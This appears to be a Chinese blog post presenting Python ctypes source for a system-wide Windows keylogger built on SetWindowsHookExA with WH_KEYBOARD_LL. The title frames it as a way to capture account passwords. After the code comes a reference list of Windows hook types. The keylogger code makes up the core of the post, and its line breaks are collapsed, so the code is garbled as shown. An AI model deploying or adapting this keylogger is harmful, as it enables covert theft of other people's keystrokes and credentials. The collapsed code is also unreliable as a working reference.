Python2.7.x版本
chr(lParam[0])会出现下面的类型转换错误,造成溢出的异常,在Python2.X版本的int是无限大,而C语言的长度有限制,所以就会出现这种溢出错误
hookedKey = chr(lParam[0])
OverflowError: Python int too large to convert to C long
加个按位与,防止溢出: chr(0xFFFFFFFF&lParam[0])
# -*- coding: cp936 -*-import sysfrom ctypes import *from ctypes.wintypes import MSGfrom ctypes.wintypes import DWORDuser32 = windll.user32kernel32 = windll.kernel32WH_KEYBOARD_LL = 13WM_KEYDOWN = 0x0100CTRL_CODE = 162#定义拥有挂钩与拆钩功能的类class KeyLogger:def __init__(self):self.lUser32 = user32self.hooked = None#定义挂钩函数:使用user32DLL的SetWindowsHookExA函数设置钩子#监听的事件为WHKEYBOAD_LL,范围设置为操作系统中运行的所有线程def installHookProc(self, pointer):self.hooked = self.lUser32.SetWindowsHookExA(WH_KEYBOARD_LL,pointer,kernel32.GetModuleHandleW(None),0)if not self.hooked:return Falsereturn True#定义拆钩函数:调用user32Dll的UnhookWindowsHookEx()函数def uninstallHookProc(self):if self.hooked is None:returnself.lUser32.UnhookWindowsHookEx(self.hooked)self.hooked = None#获取函数指针:若想注册钩子过程(回调函数),必须传入函数指针#通过CFUNCTYPE()函数指定SetWindowshookExA()函数所需要的钩子过程的参数与参数类#通过CMPFUNC()函数获取内部声明的函数指针def getFPTR(fn):CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))return CMPFUNC(fn)#定义钩子过程:钩子过程是一种回调函数,指定事件发生时,调用其执行相应处理#若到来的消息类型是WM__KEYDOWN,则将消息值,输出到屏幕;若消息与<CTRL>键的值一致,则拆除钩子#处理完毕后,将控制权限让给勾连中的其他钩子过程(CallNextHookEx()函数)def hookProc(nCode, wParam, lParam):if wParam is not WM_KEYDOWN:return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)hookedKey = chr(0xFFFFFFFF&lParam[0])print(hookedKey,lParam[0],lParam[1]),#print(int(lParam[0]))#if(CTRL_CODE == int(lParam[0])):if(int(lParam[0])==124554051746):print("按下了Ctrl键,调用钩子拆除")keyLogger.uninstallHookProc()sys.exit(-1)return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)#传递消息:GetMessageA()函数监视队列,消息进入队列后取出消息,并传递给钩链中的第一个钩子def startKeyLog():msg = MSG()user32.GetMessageA(byref(msg), 0, 0, 0)#启动消息钩取,installHookProc()函数设置钩子,同时注册钩子过程回调函数#最后调用startKeyLog()函数,将进入队列的消息传递给钩链keyLogger = KeyLogger()pointer = getFPTR(hookProc)if keyLogger.installHookProc(pointer):print("钩子程序启动")startKeyLog()
下面是一些常用钩子类型对应的代码值
WH_JOURNALRECORD = 0,WH_JOURNALPLAYBACK = 1,WH_KEYBOARD = 2,WH_GETMESSAGE = 3,WH_CALLWNDPROC = 4,WH_CBT = 5,WH_SYSMSGFILTER = 6,WH_MOUSE = 7,WH_HARDWARE = 8,WH_DEBUG = 9,WH_SHELL = 10,WH_FOREGROUNDIDLE = 11,WH_CALLWNDPROCRET = 12, WH_KEYBOARD_LL = 13,WH_MOUSE_LL = 14
WH_JOURNALRECORD Hook用来监视和记录输入事件。典型的,可以使用这个Hook记录连续的鼠标和键盘事件,然后通过使用WH_JOURNALPLAYBACK Hook来回放
WH_KEYBOARD Hook用来监视WM_KEYDOWN and WM_KEYUP消息,这些消息通过GetMessage or PeekMessage function返回。可以使用这个Hook来监视输入到消息队列中的键盘消息。
WH_KEYBOARD_LL Hook监视输入到线程消息队列中的键盘消息。
WH_GETMESSAGE Hook来监视从GetMessage or PeekMessage函数返回的消息。你可以使用WH_GETMESSAGE Hook去监视鼠标和键盘输入,以及其他发送到消息队列中的消息。
WH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks使你可以监视发送到窗口过程的消息。系统在消息发送到接收窗口过程之前调用WH_CALLWNDPROC Hook子程,并且在窗口过程处理完消息之后调用WH_CALLWNDPROCRET Hook子程。 WH_CALLWNDPROCRET Hook传递指针到CWPRETSTRUCT结构,再传递到Hook子程。CWPRETSTRUCT结构包含了来自处理消息的窗口过程的返回值,同样也包括了与这个消息关联的消息参数。
WH_CBT Hook被调用的事件包括:
1. 激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件;
2. 完成系统指令;
3. 来自系统消息队列中的移动鼠标,键盘事件;
4. 设置输入焦点事件;
5. 同步系统消息队列事件。
Hook子程的返回值确定系统是否允许或者防止这些操作中的一个。
WH_SYSMSGFILTER Hook监视所有应用程序消息。WH_MSGFILTER Hook只能监视传递到菜单,滚动条,消息框的消息,以及传递到通过安装了Hook子程的应用程序建立的对话框的消息。
WH_MOUSE Hook监视从GetMessage 或者 PeekMessage 函数返回的鼠标消息。使用这个Hook监视输入到消息队列中的鼠标消息。WH_MOUSE_LL Hook监视输入到线程消息队列中的鼠标消息。
WH_DEBUG Hook在系统调用系统中与其他Hook关联的Hook子程之前,系统会调用WH_DEBUG Hook子程。你可以使用这个Hook来决定是否允许系统调用与其他Hook关联的Hook子程
WH_SHELL 共有5钟情况:
1. 只要有个top-level、unowned 窗口被产生、起作用、或是被摧毁;
2. 当Taskbar需要重画某个按钮;
3. 当系统需要显示关于Taskbar的一个程序的最小化形式;
4. 当目前的键盘布局状态改变;
5. 当使用者按Ctrl+Esc去执行Task Manager(或相同级别的程序)。 按照惯例,外壳应用程序都不接收WH_SHELL消息。所以,在应用程序能够接收WH_SHELL消息之前,应用程序必须调用SystemParametersInfo function注册它自己。
WH_FOREGROUNDIDLE 当应用程序的前台线程处于空闲状态时,可以使用WH_FOREGROUNDIDLE Hook执行低优先级的任务。当应用程序的前台线程大概要变成空闲状态时,系统就会调用WH_FOREGROUNDIDLE Hook子程
如果觉得《Python【WINAPI】钩子程序获取账号密码等键盘输入信息》对你有帮助,请点赞、收藏,并留下你的观点哦!